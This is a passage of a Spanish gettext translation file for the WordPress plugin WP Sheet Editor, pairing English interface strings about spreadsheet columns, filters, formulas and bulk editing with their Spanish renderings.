wp-sheet-editor/dev/inc/teasers/post-types.php:97 msgid "Date" msgstr "Fecha" #: columns-manager/columns-manager.php:1206 msgid "Date and time" msgstr "Fecha y hora" #: columns-manager/columns-manager.php:1207 msgid "User dropdown" msgstr "Desplegable de usuario" #: columns-manager/columns-manager.php:1208 msgid "Post dropdown" msgstr "Desplegable de posts" #: columns-manager/columns-manager.php:1209 msgid "Taxonomy term dropdown" msgstr "Desplegable de términos de taxonomía" #: columns-manager/columns-manager.php:1210 msgid "Currency" msgstr "Moneda" #: columns-manager/columns-manager.php:1211 msgid "URL" msgstr "URL" #: columns-manager/columns-manager.php:1213 formulas/inc/ui.php:336 #: formulas/inc/ui.php:364 msgid "Number" msgstr "Número" #: columns-manager/columns-manager.php:1214 msgid "Clickable button" msgstr "Botón" #: columns-manager/columns-manager.php:1215 msgid "Raw HTML" msgstr "Raw HTML" #: columns-manager/columns-manager.php:1221 #: wp-sheet-editor/dev/inc/api/helpers.php:955 msgid "Default" msgstr "Por defecto" #: columns-manager/columns-manager.php:1233 msgid "Column format" msgstr "Formato de columna" #: columns-manager/columns-manager.php:1238 msgid "" "This format will only allow administrators with the capability " "unfiltered_html to save any HTML in this column, we'll still remove unsafe " "html tags when non-administrators save values in this column." msgstr "" "Este formato sólo permitirá a los administradores con la capacidad " "unfiltered_html guardar cualquier HTML en esta columna, seguiremos " "eliminando las etiquetas html no seguras cuando los no administradores " "guarden valores en esta columna." #: columns-manager/columns-manager.php:1241 msgid "" "This can be used if the cell value will always be a URL, so the cell will be " "displayed as readonly and it will contain a button that will open the URL " "from the cell value." msgstr "" "Esto se puede utilizar si el valor de la celda será siempre una URL, por lo " "que la celda se mostrará como de sólo lectura y contendrá un botón que " "abrirá la URL a partir del valor de la celda." #: columns-manager/columns-manager.php:1244 #: columns-manager/columns-manager.php:1249 msgid "Allowed values" msgstr "Valores permitidos" #: columns-manager/columns-manager.php:1245 #: columns-manager/columns-manager.php:1250 msgid "" "Enter each choice on a new line. For more control, you may specify both a " "value and label like this: red : Red" msgstr "" "Ingresa cada selección en una nueva línea. Para mayor control, puedes " "especificar un valor y una etiqueta así: rojo : Rojo" #: columns-manager/columns-manager.php:1252 msgid "How are the multiple values saved in the database?" msgstr "¿Cómo se guardan los valores múltiples en la base de datos?" #: columns-manager/columns-manager.php:1257 msgid "What value is saved when the checkbox is checked?" msgstr "¿Qué valor se guarda cuando la casilla de verificación está marcada?" #: columns-manager/columns-manager.php:1259 msgid "What value is saved when the checkbox is unchecked?" msgstr "" "¿Qué valor se guarda cuando la casilla de verificación está desmarcada?" #: columns-manager/columns-manager.php:1263 msgid "" "You will be able to type the username in the cell and the cell will show a " "dropdown with suggestions." msgstr "" "Podrás escribir el nombre de usuario en la celda y ésta mostrará un " "desplegable con sugerencias." #: columns-manager/columns-manager.php:1264 msgid "How is the user saved in the database?" msgstr "¿Cómo se guarda el usuario en la base de datos?" #: columns-manager/columns-manager.php:1269 msgid "" "You will be able to type the term name in the cell and the cell will show a " "dropdown with suggestions." msgstr "" "Podrás escribir el nombre del término en la celda y ésta mostrará un " "desplegable con sugerencias." #: columns-manager/columns-manager.php:1270 msgid "How is the taxonomy term saved in the database?" msgstr "¿Cómo se guarda el término taxonómico en la base de datos?" #: columns-manager/columns-manager.php:1275 msgid "Allow multiple terms per field?" msgstr "¿Permitir varios términos por campo?" #: columns-manager/columns-manager.php:1277 msgid "How do you want to save the multiple terms?" msgstr "¿Cómo quieres guardar los términos múltiples?" #: columns-manager/columns-manager.php:1280 msgid "Accept terms from this taxonomy" msgstr "Aceptar términos de esta taxonomía" #: columns-manager/columns-manager.php:1281 msgid "" "For example, if you select the blog categories, we will only accept blog " "categories in this column." msgstr "" "Por ejemplo, si seleccionas las categorías del blog, sólo aceptaremos " "categorías del blog en esta columna." #: columns-manager/columns-manager.php:1285 msgid "" "You will be able to type numbers without formatting, for example: 999999.88 " "or 100, and we will automatically save them in the formatted way. This " "conversion will happen when you save and not live when you edit in the cells " "and you will see the modified values on the next spreadsheet reload." msgstr "" "Podrás escribir números sin formato, por ejemplo: 999999.88 o 100, y los " "guardaremos automáticamente con formato. Esta conversión se producirá cuando " "guardes y no en directo cuando edites en las celdas y verás los valores " "modificados en la siguiente recarga de la hoja de cálculo." #: columns-manager/columns-manager.php:1286 msgid "Number of decimals" msgstr "Número de decimales" #: columns-manager/columns-manager.php:1289 msgid "Decimals separator" msgstr "Separador de decimales" #: columns-manager/columns-manager.php:1292 msgid "Thousands separator" msgstr "Separador de miles" #: columns-manager/columns-manager.php:1296 msgid "" "You will be able to type the post title in the cell and the cell will show a " "dropdown with suggestions." msgstr "" "Podrás escribir el título de la entrada en la celda y ésta mostrará un " "desplegable con sugerencias." #: columns-manager/columns-manager.php:1297 msgid "How is the post saved in the database?" msgstr "¿Cómo se guarda el post en la base de datos?" #: columns-manager/columns-manager.php:1301 msgid "Allow multiple posts per field?" msgstr "¿Permitir varios posts por campo?" #: columns-manager/columns-manager.php:1303 msgid "How do you want to save the multiple posts?" msgstr "¿Cómo quieres guardar los posts múltiples?" #: columns-manager/columns-manager.php:1306 msgid "Accept post from this post type" msgstr "Aceptar posts de este post type" #: columns-manager/columns-manager.php:1307 msgid "" "For example, if you select the post type \"product\", we will only accept " "product titles." msgstr "" "Por ejemplo, si seleccionas el post type \"producto\", sólo aceptaremos " "títulos de productos." #: columns-manager/columns-manager.php:1311 msgid "How is the file saved in the database?" msgstr "¿Cómo se guarda el archivo en la base de datos?" #: columns-manager/columns-manager.php:1312 msgid "" "The cell will display the values as URLs and you can edit in the cells using " "full URLs, file ID, or file name.
                  External URLs are automatically " "imported into the media library.
                  We will save the value in the format " "selected here" msgstr "" "La celda mostrará los valores como URLs y puedes editar en las celdas usando " "URLs completas, el ID del archivo o el nombre del archivo.
                  Las URLs " "externas se importan automáticamente en la biblioteca multimedia." "
                  Guardaremos el valor en el formato seleccionado aquí" #: columns-manager/columns-manager.php:1316 msgid "Allow multiple files per field?" msgstr "¿Permitir varios archivos por campo?" #: columns-manager/columns-manager.php:1317 msgid "How do you want to save the multiple files?" msgstr "¿Cómo quieres guardar los archivos múltiples?" #: columns-manager/columns-manager.php:1322 msgid "What date format do you want to display in the spreadsheet?" msgstr "¿Qué formato de fecha quieres mostrar en la hoja de cálculo?" #: columns-manager/columns-manager.php:1323 msgid "" "Enter a date format. List of formats. If you leave it " "empty, we'll use the default: Y-m-d" msgstr "" "Ingresa un formato de fecha. Lista de formatos. Si lo " "dejas vacío, usaremos el formato por defecto: A-m-d" #: columns-manager/columns-manager.php:1326 #: columns-manager/columns-manager.php:1335 msgid "What date format do you want to save in the database?" msgstr "¿Qué formato de fecha quieres guardar en la base de datos?" #: columns-manager/columns-manager.php:1327 msgid "" "Enter a date format. List of formats. Example: Y-m-d" msgstr "" "Ingresa un formato de fecha. Lista de formatos. Ejemplo: " "A-m-d" #: columns-manager/columns-manager.php:1331 msgid "What date time format do you want to display in the spreadsheet?" msgstr "" "¿Qué formato de fecha y hora quieres que se muestre en la hoja de cálculo?" #: columns-manager/columns-manager.php:1332 msgid "" "Enter a date format. List of formats. If you leave it " "empty, we'll use the default: Y-m-d H:i:s" msgstr "" "Ingresa un formato de fecha. Lista de formatos. Ejemplo: " "D-M-A\n" "\n" "Ingresa un formato de fecha. Lista de formatos. Si lo " "dejas vacío, usaremos el formato por defecto: A-m-d H:i:s" #: columns-manager/columns-manager.php:1336 msgid "" "Enter a date format. List of formats. Example: Y-m-d H:i:s" msgstr "" "Ingresa un formato de fecha. Lista de formatos. Ejemplo: " "A-m-d H:i:s" #: columns-manager/inc/column-groups.php:49 msgid "Spreadsheet views" msgstr "Vista de hojas de cálculo" #: columns-manager/inc/column-groups.php:82 #: wp-sheet-editor/dev/inc/options-init.php:562 #: wp-sheet-editor/dev/wp-sheet-editor.php:1147 msgid "WP Sheet Editor" msgstr "WP Sheet Editor" #: columns-manager/inc/column-groups.php:83 msgid "" "Note. This is not a security feature, the user can edit all the fields in " "the normal editor based on the role. This option is for convenience, so they " "only see the columns they need when they open the spreadsheet editor. If you " "leave these fields empty they can switch between all the existing views" msgstr "" "Nota. Esta no es una característica de seguridad, el usuario puede editar " "todos los campos en el editor normal basado en el rol. Esta opción es por " "conveniencia, para que los usuarios puedan solo ver las columnas que " "necesitan cuando abran la hoja de cálculo. Si dejas estos campos vacíos, " "podrán cambiar entre todas las vistas existentes" #: columns-manager/inc/column-groups.php:100 msgid "%s: Allowed spreadsheet views" msgstr "%s: Hojas de cálculo permitidas" #: columns-manager/inc/column-groups.php:103 msgid "Please enter the name of the spreadsheet views separated by commas." msgstr "" "Por favor, ingresa el nombre de las vistas de la hoja de cálculo separadas " "por comas." #: columns-manager/inc/column-groups.php:332 msgid "Add a name for this group of columns" msgstr "Agrega un nombre para este grupo de columnas" #: columns-manager/inc/column-groups.php:332 msgid "" "We will save this group of columns as a spreadsheet view and you can switch " "between spreadsheets in the toolbar" msgstr "" "Guardaremos este grupo de columnas como una vista de la hoja de cálculo y " "podrás cambiar entre vistas en la barra de herramientas" #: columns-renaming/columns-renaming.php:45 #: wp-sheet-editor/dev/inc/api/editor.php:326 msgid "Rename column" msgstr "Renombrar columna" #: columns-renaming/columns-renaming.php:59 #: columns-visibility/columns-visibility.php:156 #: columns-visibility/columns-visibility.php:169 #: columns-visibility/columns-visibility.php:209 #: universal-sheet/universal-sheet.php:139 woocommerce/inc/attributes.php:795 #: woocommerce/inc/attributes.php:1015 woocommerce/inc/variations.php:1252 #: woocommerce/inc/variations.php:1279 wp-sheet-editor/dev/inc/ajax.php:73 #: wp-sheet-editor/dev/inc/ajax.php:160 wp-sheet-editor/dev/inc/ajax.php:192 #: wp-sheet-editor/dev/inc/ajax.php:237 wp-sheet-editor/dev/inc/ajax.php:284 #: wp-sheet-editor/dev/inc/ajax.php:305 wp-sheet-editor/dev/inc/ajax.php:383 msgid "Missing parameters." msgstr "Parámetros faltantes." #: columns-renaming/columns-renaming.php:63 #: columns-visibility/columns-visibility.php:160 #: columns-visibility/columns-visibility.php:173 #: columns-visibility/columns-visibility.php:269 msgid "You dont have enough permissions to execute this action." msgstr "No tienes suficientes permisos para ejecutar esta acción." #: columns-visibility/columns-visibility.php:164 msgid "" "Columns restored successfully, please reload the page to see the restored " "columns and enable them" msgstr "" "Columnas restauradas con éxito. Por favor, recarga la página para ver las " "columnas restauradas y habilitarlas" #: columns-visibility/columns-visibility.php:356 msgid "Hide / Display / Sort columns" msgstr "Ocultar / Mostrar columnas" #: columns-visibility/views/form.php:12 msgid "" "Drag the columns to the left or right side to enable/disable them, drag them " "to the top or bottom to sort them, click on the \"edit\" button to rename " "them, click on the \"x\" button to delete them completely (only when they " "are disabled previously)." msgstr "" "Arrastra las columnas a la izquierda o a la derecha para habilitarlas/" "deshabilitarlas. Arrástralas hacia arriba o hacia abajo para reordenarlas. " "Haz clic en el botón \"editar\" para renombrarlas, haz clic en el botón " "\"x\" para borrarlas por completo (sólo cuando estén deshabilitadas " "previamente)." #: columns-visibility/views/form.php:15 columns-visibility/views/form.php:73 msgid "Enable all" msgstr "Habilitar todas" #: columns-visibility/views/form.php:16 columns-visibility/views/form.php:27 msgid "Disable all" msgstr "Deshabilitar todas" #: columns-visibility/views/form.php:22 msgid "Enabled" msgstr "Habilitadas" #: columns-visibility/views/form.php:22 columns-visibility/views/form.php:67 msgid "Bulk" msgstr "Masivo" #: columns-visibility/views/form.php:24 columns-visibility/views/form.php:70 msgid "Enter a search term..." msgstr "Ingresa un término de búsqueda..." #: columns-visibility/views/form.php:26 columns-visibility/views/form.php:72 #: universal-sheet/views/import-modal.php:85 msgid "Bulk actions" msgstr "Acciones masivas" #: columns-visibility/views/form.php:28 columns-visibility/views/form.php:75 msgid "Sort alphabetically ASC" msgstr "Ordenar alfabéticamente ASC" #: columns-visibility/views/form.php:29 columns-visibility/views/form.php:76 msgid "Sort alphabetically DESC" msgstr "Ordenar alfabéticamente DESC" #: columns-visibility/views/form.php:56 columns-visibility/views/form.php:99 msgid "" "Remove column completely. If you want to use it later you can disable it by " "dragging and dropping to the right column" msgstr "" "Quitar la columna completamente. Si quieres usarla más tarde, puedes " "deshabilitarla arrastrando y soltando a la columna de la derecha" #: columns-visibility/views/form.php:58 columns-visibility/views/form.php:101 msgid "Disable column. You can enable it later." msgstr "Deshabilitar columna. Puedes habilitarla más tarde." #: columns-visibility/views/form.php:59 columns-visibility/views/form.php:102 msgid "Enable column" msgstr "Habilitar columna" #: columns-visibility/views/form.php:67 msgid "Disabled" msgstr "Deshabilitada" #: columns-visibility/views/form.php:74 msgid "Delete all" msgstr "Borrar todo" #: columns-visibility/views/form.php:95 msgid "Enabling this column requires a page reload" msgstr "Habilitar esta columna requiere una recarga de la página" #: columns-visibility/views/form.php:114 msgid "A column is missing?" msgstr "¿Falta una columna?" #: columns-visibility/views/form.php:116 msgid "" "- First, edit one item in the normal editor and fill all the fields manually." msgstr "" "- Primero, edita un elemento en el editor normal y rellena todos los campos " "manualmente." #: columns-visibility/views/form.php:125 msgid "" "- We can scan the database, find new fields, and create columns automatically" msgstr "" "- Podemos escanear la base de datos, encontrar nuevos campos y crear " "columnas automáticamente" #: columns-visibility/views/form.php:132 msgid "You can do this multiple times" msgstr "Puedes hacer esto varias veces" #: columns-visibility/views/form.php:132 msgid "Scan Now" msgstr "Escanear Ahora" #: columns-visibility/views/form.php:137 msgid "- If the previous solution failed, you can create new columns manually." msgstr "" "- Si la solución anterior falló, puedes crear nuevas columnas manualmente." #: columns-visibility/views/form.php:137 msgid "Create column" msgstr "Crear columna" #: columns-visibility/views/form.php:139 msgid "- Maybe you deleted the columns from the list." msgstr "- Quizá eliminaste las columnas de la lista." #: columns-visibility/views/form.php:139 msgid "Restore deleted columns" msgstr "Restaurar columnas eliminadas" #: columns-visibility/views/form.php:140 msgid "- We can help you." msgstr "- Podemos ayudarte." #: columns-visibility/views/form.php:140 #: wp-sheet-editor/dev/inc/integrations/notifier.php:291 #: wp-sheet-editor/dev/wp-sheet-editor.php:1056 msgid "Contact us" msgstr "Contáctanos" #: columns-visibility/views/form.php:146 msgid "Save these settings for future sessions?" msgstr "¿Guardar estos ajustes para sesiones futuras?" #: columns-visibility/views/form.php:154 msgid "Apply settings" msgstr "Aplicar ajustes" #: columns-visibility/views/form.php:155 filters/filters.php:573 #: formulas/inc/ui.php:153 universal-sheet/views/import-modal.php:228 #: woocommerce/views/spreadsheet-create-variations-modal.php:112 #: wp-sheet-editor/dev/inc/integrations/notifier.php:296 #: wp-sheet-editor/dev/inc/teasers/formulas.php:76 #: wp-sheet-editor/dev/inc/teasers/frontend.php:78 #: wp-sheet-editor/dev/inc/teasers/post-types.php:133 #: wp-sheet-editor/dev/views/editor-page.php:289 #: wp-sheet-editor/dev/views/editor-page.php:340 #: wp-sheet-editor/dev/views/editor-page.php:364 #: wp-sheet-editor/dev/views/extensions-modal.php:10 #: wp-sheet-editor/dev/views/settings-form.php:121 #: wp-sheet-editor/dev/views/support-modal.php:24 msgid "Close" msgstr "Cerrar" #: custom-columns/custom-columns.php:431 msgid "Add columns for custom fields" msgstr "Añadir columnas nuevas para campos personalizados" #: custom-columns/custom-columns.php:580 msgid "Missing columns" msgstr "Columnas faltantes" #: custom-columns/custom-columns.php:622 msgid "Missing post type or column_key" msgstr "Falta el post type o la column_key (clave de la columna)" #: custom-columns/custom-columns.php:625 custom-columns/custom-columns.php:649 #: custom-columns/custom-columns.php:672 msgid "" "You are not allowed to do this action. Please reload the page or log in " "again." msgstr "" "No puedes realizar esta acción. Por favor, recarga la página o inicia sesión " "de nuevo." #: custom-columns/custom-columns.php:635 msgid "The meta field was deleted successfully" msgstr "El campo meta fue eliminado con éxito" #: custom-columns/custom-columns.php:639 msgid "The meta field could not be deleted." msgstr "El campo meta no pudo ser eliminado." #: custom-columns/custom-columns.php:646 msgid "" "Missing post type, old_column_key, or new_column_key; or the old and new key " "are the same." msgstr "" "Falta el post type, old_column_key, o new_column_key; o la clave antigua y " "la clave nueva son iguales." #: custom-columns/custom-columns.php:662 msgid "The meta key was renamed successfully" msgstr "La clave meta fue renombrada con éxito" #: custom-columns/custom-columns.php:666 msgid "The meta key couldnt be renamed." msgstr "La clave meta no pudo ser renombrada." #: custom-columns/custom-columns.php:703 msgid "Columns could not be saved. Try again." msgstr "Las columnas no se pudieron guardar. Inténtalo de nuevo." #: custom-columns/custom-columns.php:706 msgid "Changes saved" msgstr "Cambios guardados" #: custom-columns/custom-columns.php:720 msgid "Are you sure you want to delete this column?" msgstr "¿Estás seguro de que quieres borrar esta columna?" #: custom-columns/custom-columns.php:728 msgid "Custom columns" msgstr "Columnas personalizadas" #: custom-columns/views/settings-page.php:11 #: spreadsheet-setup/views/page.php:11 #: wp-sheet-editor/dev/inc/api/bootstrap.php:146 #: wp-sheet-editor/dev/views/editor-page.php:70 #: wp-sheet-editor/dev/views/extensions-page.php:16 #: wp-sheet-editor/dev/views/quick-setup.php:28 #: wp-sheet-editor/dev/views/settings-page.php:5 #: wp-sheet-editor/dev/views/whats-new.php:12 #: wp-sheet-editor/dev/wp-sheet-editor.php:1153 msgid "Sheet Editor" msgstr "Sheet Editor" #: custom-columns/views/settings-page.php:14 msgid "Add New Columns to the Spreadsheet" msgstr "Agregar nuevas columnas a la hoja de cálculo" #: custom-columns/views/settings-page.php:16 msgid "" "Enter the column name (anything you want), and select the field key from the " "dropdown. If you dont find it you can type it in the dropdown. View Tutorial" msgstr "" "Ingresa el nombre de la columna (lo que quieras) y selecciona la clave de " "campo en el menú desplegable. Si no la encuentras, puedes escribirla en el " "desplegable. Ver Tutorial " #: custom-columns/views/settings-page.php:17 msgid "" "Enable the advanced mode at the bottom of the page to customize the column " "width, format (editor, file upload, taxonomies), etc." msgstr "" "Habilita el modo avanzado en la parte inferior de la página para " "personalizar el ancho de la columna, el formato (editor, carga de archivos, " "taxonomías), etc." #: custom-columns/views/settings-page.php:18 #: wp-sheet-editor/dev/views/quick-setup.php:110 msgid "Need help? Contact us" msgstr "¿Necesitas ayuda? Contáctanos" #: custom-columns/views/settings-page.php:38 msgid "Column name" msgstr "Nombre de columna" #: custom-columns/views/settings-page.php:38 msgid "The column name displayed in the spreadsheet" msgstr "Nombre de la columna que se muestra en la hoja de cálculo" #: custom-columns/views/settings-page.php:42 msgid "Column key" msgstr "Clave de la columna" #: custom-columns/views/settings-page.php:42 msgid "" "The key that will be used for saving the information in the database. This " "must be unique, only letters and underscores." msgstr "" "Clave que se utilizará para guardar la información en la base de datos. Debe " "ser única, sólo letras y guiones bajos." #: custom-columns/views/settings-page.php:62 msgid "Data source" msgstr "Fuente de datos" #: custom-columns/views/settings-page.php:62 msgid "Select the kind of information used in the cells of this column." msgstr "" "Selecciona el tipo de información utilizada en las celdas de esta columna." #: custom-columns/views/settings-page.php:64 msgid "Post data" msgstr "Datos del post" #: custom-columns/views/settings-page.php:65 msgid "Post meta (i.e. metaboxes)" msgstr "Meta del post (es decir, metaboxes)" #: custom-columns/views/settings-page.php:66 msgid "Post terms (i.e. categories)" msgstr "Términos del post (es decir, categorías)" #: custom-columns/views/settings-page.php:70 msgid "Post type(s)" msgstr "Post type(s)" #: custom-columns/views/settings-page.php:70 msgid "What kind of posts require this column in the spreadsheet?" msgstr "¿Qué post types requieren esta columna en la hoja de cálculo?" #: custom-columns/views/settings-page.php:95 msgid "Allow to edit using formulas?" msgstr "¿Permitir editar usando fórmulas?" #: custom-columns/views/settings-page.php:95 msgid "If you disable this option, this column will be edited manually only." msgstr "Si deshabilitas esta opción, esta columna sólo se editará manualmente." #: custom-columns/views/settings-page.php:99 msgid "Allow to hide column?" msgstr "¿Permitir ocultar la columna?" #: custom-columns/views/settings-page.php:99 msgid "Allow to hide this column on the settings page?" msgstr "¿Permitir ocultar esta columna en la página de ajustes?" #: custom-columns/views/settings-page.php:103 msgid "Allow to rename column?" msgstr "¿Permitir renombrar la columna?" #: custom-columns/views/settings-page.php:103 msgid "Allow to rename column on the settings page?" msgstr "¿Permitir renombrar la columna en la página de ajustes?" #: custom-columns/views/settings-page.php:107 msgid "Cell type" msgstr "Tipo de celda" #: custom-columns/views/settings-page.php:107 msgid "" "Select the format of the cells, if the cells should be normal text, a file " "uploader, or text editor." msgstr "" "Selecciona el formato de las celdas, si las celdas deben ser de texto " "normal, un cargador de archivos o un editor de texto." #: custom-columns/views/settings-page.php:110 msgid "Normal cell" msgstr "Celda normal" #: custom-columns/views/settings-page.php:111 msgid "TinyMCE Editor" msgstr "Editor TinyMCE" #: custom-columns/views/settings-page.php:112 msgid "File upload (single)" msgstr "Carga de archivos (individual)" #: custom-columns/views/settings-page.php:113 msgid "File upload (multiple)" msgstr "Carga de archivos (múltiple)" #: custom-columns/views/settings-page.php:117 msgid "Plain text mode: Render as: (Use only if cell type is empty)" msgstr "" "Modo de texto sin formato: Renderizar como: (Usar sólo si el tipo de celda " "está vacío)" #: custom-columns/views/settings-page.php:119 #: custom-columns/views/settings-page.php:128 msgid "Simple text" msgstr "Texto simple" #: custom-columns/views/settings-page.php:120 #: custom-columns/views/settings-page.php:129 msgid "Calendar" msgstr "Calendario" #: custom-columns/views/settings-page.php:121 msgid "Taxonomy dropdown. Only if data source = post terms." msgstr "" "Menú desplegable de taxonomías. Sólo si la fuente de datos = Términos del " "post." #: custom-columns/views/settings-page.php:122 #: custom-columns/views/settings-page.php:131 msgid "Unfiltered HTML" msgstr "HTML sin filtrar" #: custom-columns/views/settings-page.php:126 msgid "Formatted cell mode: Render as: (Use only if cell type is empty)" msgstr "" "Modo de celda formateada: Renderizar como: (Usar sólo si el tipo de celda " "está vacío)" #: custom-columns/views/settings-page.php:130 msgid "Taxonomy dropdown" msgstr "Desplegado de taxonomías" #: custom-columns/views/settings-page.php:135 msgid "Column width (pixels)" msgstr "Ancho de columna (pixeles)" #: custom-columns/views/settings-page.php:141 formulas/inc/ui.php:195 msgid "Delete" msgstr "Eliminar" #: custom-columns/views/settings-page.php:148 #: spreadsheet-setup/views/page.php:45 #: wp-sheet-editor/dev/inc/api/editor.php:339 msgid "Add new column" msgstr "Añadir nueva columna" #: custom-columns/views/settings-page.php:152 msgid "Advanced mode" msgstr "Modo avanzado" #: factory.php:226 wp-sheet-editor/dev/wp-sheet-editor.php:1356 msgid "My license" msgstr "Mi licencia" #: filters/filters.php:197 msgid "" "To search among all posts use the Search tool. Use this to locate and " "highlight one value in the loaded rows in the spreadsheet. I.e. highlight a " "SKU or email or title." msgstr "" "Para buscar entre todos los posts, usa la herramienta de búsqueda. Se usa " "para localizar y resaltar un valor en las filas cargadas en la hoja de " "cálculo. Es decir, resaltar un SKU, correo electrónico o título específico." #: filters/filters.php:198 msgid "Locate cell" msgstr "Localizar celda" #: filters/filters.php:199 msgid "Locate cell." msgstr "Localizar celda." #: filters/filters.php:207 msgid "" "Enter a word and we will find the first matching column. You will avoid " "scrolling through dozens of columns to find the one you need." msgstr "" "Ingresa una palabra y encontraremos la primera columna coincidente. Evitarás " "tener que desplazarte por docenas de columnas para encontrar la que " "necesitas." #: filters/filters.php:208 filters/filters.php:209 msgid "Locate column" msgstr "Localizar columna" #: filters/filters.php:224 filters/filters.php:236 filters/filters.php:521 msgid "Search" msgstr "Buscar" #: filters/filters.php:236 msgid "Quick search" msgstr "Búsqueda rápida" #: filters/filters.php:236 msgid "Enter a keyword" msgstr "Ingresa una palabra clave" #: filters/filters.php:491 msgid "Contains keyword" msgstr "Contiene palabra clave" #: filters/filters.php:492 msgid "" "It searches in the post title and post content. Search by multiple keywords " "separating keywords with a semicolon (;)" msgstr "" "Busca en el título de la entrada y en su contenido. Busca por varias " "palabras clave separándolas con punto y coma (;)" #: filters/filters.php:501 wp-sheet-editor/dev/inc/api/bootstrap.php:705 #: wp-sheet-editor/dev/inc/teasers/post-types.php:99 msgid "Status" msgstr "Estado" #: filters/filters.php:559 msgid "Enter a username or email..." msgstr "Ingresa un nombre de usuario o correo electrónico..." #: filters/filters.php:572 msgid "Run search" msgstr "Ejecutar búsqueda" #: formulas/formulas.php:84 msgid "Invalid #898AJSI. The replace requires 2 parameters, we received one" msgstr "" "#898AJSI inválido. El reemplazo requiere 2 parámetros, y solo recibimos uno" #: formulas/formulas.php:97 msgid "Invalid #8W89PQ. Math formula is empty." msgstr "#8W89PQ inválido. La fórmula matemática está vacía." #: formulas/formulas.php:102 msgid "Invalid #PQ8SPQ. The math formula contains a comma: %s" msgstr "#PQ8SPQ inválido. La fórmula matemática contiene una coma: %s" #: formulas/formulas.php:107 msgid "Invalid #8W89PWQ. Math formula is invalid." msgstr "#8W89PQ inválido. La fórmula matemática está vacía." #: formulas/formulas.php:118 msgid "Invalid #PQ8PHP. The PHP function does not exist: %s" msgstr "#PQ8SPQ inválido. La función PHP no existe: %s" #: formulas/formulas.php:123 msgid "" "Invalid #8W23CV. We accept MATH and REPLACE formulas only, we received an " "unknown formula type." msgstr "" "#8W23CV inválido. Solo aceptamos fórmulas MATH y REPLACE, pero recibimos un " "tipo de fórmula desconocida." #: formulas/formulas.php:179 msgid "The random values could not be read." msgstr "Los valores aleatorios no pudieron ser leídos." #: formulas/formulas.php:319 msgid "" "The math formula can't be applied. We found some existing data is not " "numeric. Data found: %1$s, ID: %2$d" msgstr "" "No se puede aplicar la fórmula matemática. Se ha encontrado un dato que no " "es numérico. Datos encontrados: %1$s, ID: %2$d" #: formulas/formulas.php:333 msgid "" "Error. The math engine could not execute the math operation: %1$s, ID: %2$d" msgstr "" "Error. El motor matemático no pudo ejecutar la operación matemática: %1$s, " "ID: %2$d" #: formulas/formulas.php:449 msgid "The search parameter must contain $current_value$ only" msgstr "El parámetro de búsqueda debe contener $current_value$ solamente" #: formulas/formulas.php:457 msgid "Value in the replace section is not valid" msgstr "El valor en la sección de reemplazo no es válido" #: formulas/formulas.php:837 msgid "You do not have permission to delete posts." msgstr "No tiene suficientes permisos para borrar filas." #: formulas/formulas.php:882 msgid "Missing number and time unit." msgstr "Falta el número y la unidad de tiempo." #: formulas/formulas.php:886 msgid "Invalid time unit." msgstr "Unidad de tiempo inválida." #: formulas/formulas.php:891 msgid "Please indicate which terms you want to remove." msgstr "Por favor, indica cuáles términos quieres remover." #: formulas/formulas.php:897 msgid "Only administrators are allowed to send emails to users." msgstr "" "Solo los administradores pueden enviar correos electrónicos a los usuarios." #: formulas/formulas.php:900 msgid "Please enter the email subject and email message." msgstr "Ingresa el asunto y el mensaje del correo electrónico." #: formulas/formulas.php:904 msgid "The column selected is not valid." msgstr "La columna seleccionada no es válida." #: formulas/formulas.php:954 msgid "" "Error. The status column must be enabled in the spreadsheet before we can " "remove duplicates." msgstr "" "Error. La columna \"Estado\" debe estar habilitada en la hoja de cálculo " "antes de remover los duplicados." #: formulas/formulas.php:1242 wp-sheet-editor/dev/inc/ajax.php:263 #: wp-sheet-editor/dev/inc/api/helpers.php:878 msgid "Error: %s" msgstr "Error: %s" #: formulas/formulas.php:1279 msgid "Bulk edit not executed. No items found matching the criteria." msgstr "" "Cambio masivo no ejecutado. No se han encontrado elementos que cumplan los " "criterios." #: formulas/formulas.php:1296 msgid "

                  Complete

                  ." msgstr "

                  Completo

                  ." #: formulas/formulas.php:1313 msgid "" "

                  Editing the field: " "{column_label}. Items to process: {total}, Progress: " "{progress_percentage}%%, We have updated {edited} items.

                  " msgstr "" "

                  Editando el campo: " "{column_label}. Filas a procesar: {total}, Progreso: " "{progress_percentage}%%, Hemos actualizado {edited} filas.

                  " #: formulas/inc/ui.php:70 formulas/inc/ui.php:176 msgid "Bulk Edit" msgstr "Editor Masivo" #: formulas/inc/ui.php:73 msgid "Using this tool you can update thousands of rows at once" msgstr "Usando esta herramienta puedes editar miles de filas a la vez" #: formulas/inc/ui.php:74 msgid "Need help? Check our tutorials" msgstr "¿Necesitas ayuda? Consulta nuestros tutoriales" #: formulas/inc/ui.php:79 msgid "Select the rows that you want to update." msgstr "Selecciona las filas que quieres editar." #: formulas/inc/ui.php:82 msgid "Edit all the rows from my current search (including non-visible rows)." msgstr "" "Editar todas las filas de mi búsqueda actual (incluyendo las filas no " "visibles)." #: formulas/inc/ui.php:83 msgid "I want to search rows to update and edit all the search results" msgstr "" "Quiero buscar las filas a editar y editar todos los resultados de la búsqueda" #: formulas/inc/ui.php:84 msgid "Edit the rows that I selected manually in the spreadsheet." msgstr "" "Editar las filas que he seleccionado manualmente en la hoja de cálculo." #: formulas/inc/ui.php:85 msgid "Edit the same rows that I manually selected previously" msgstr "Editar las mismas filas que seleccioné manualmente previamente" #: formulas/inc/ui.php:87 msgid "Make another search" msgstr "Hacer otra búsqueda" #: formulas/inc/ui.php:95 msgid "What field do you want to edit?" msgstr "¿Qué campo quieres editar?" #: formulas/inc/ui.php:96 formulas/inc/ui.php:101 #: universal-sheet/views/export-modal.php:26 msgid "Select column..." msgstr "Selecciona la columna...." #: formulas/inc/ui.php:98 msgid "" "A column is missing? Enable it" msgstr "" "¿Falta una columna? Habilítala " #: formulas/inc/ui.php:110 msgid "Use slower execution method?" msgstr "¿Usar un método de ejecución más lento?" #: formulas/inc/ui.php:110 msgid "" "The default way uses a faster execution method, but it might not work in all " "the cases. Use this option when the default way doesn't work or doesn't " "update all the posts." msgstr "" "La forma predeterminada usa un método de ejecución más rápido, pero puede " "que no funcione en todos los casos. Usa esta opción cuando la forma " "predeterminada no funciona o no actualiza todas las filas." #: formulas/inc/ui.php:115 msgid "%s rows will be edited." msgstr "%s filas serán editadas." #: formulas/inc/ui.php:115 msgid "You can select the rows for the edit in the first option of this form." msgstr "" "Puedes seleccionar las filas a editar en la primera opción de este " "formulario." #: formulas/inc/ui.php:126 msgid "I have a database backup, Execute Now" msgstr "Tengo una copia de seguridad de la base de datos. Ejecutar Ahora" #: 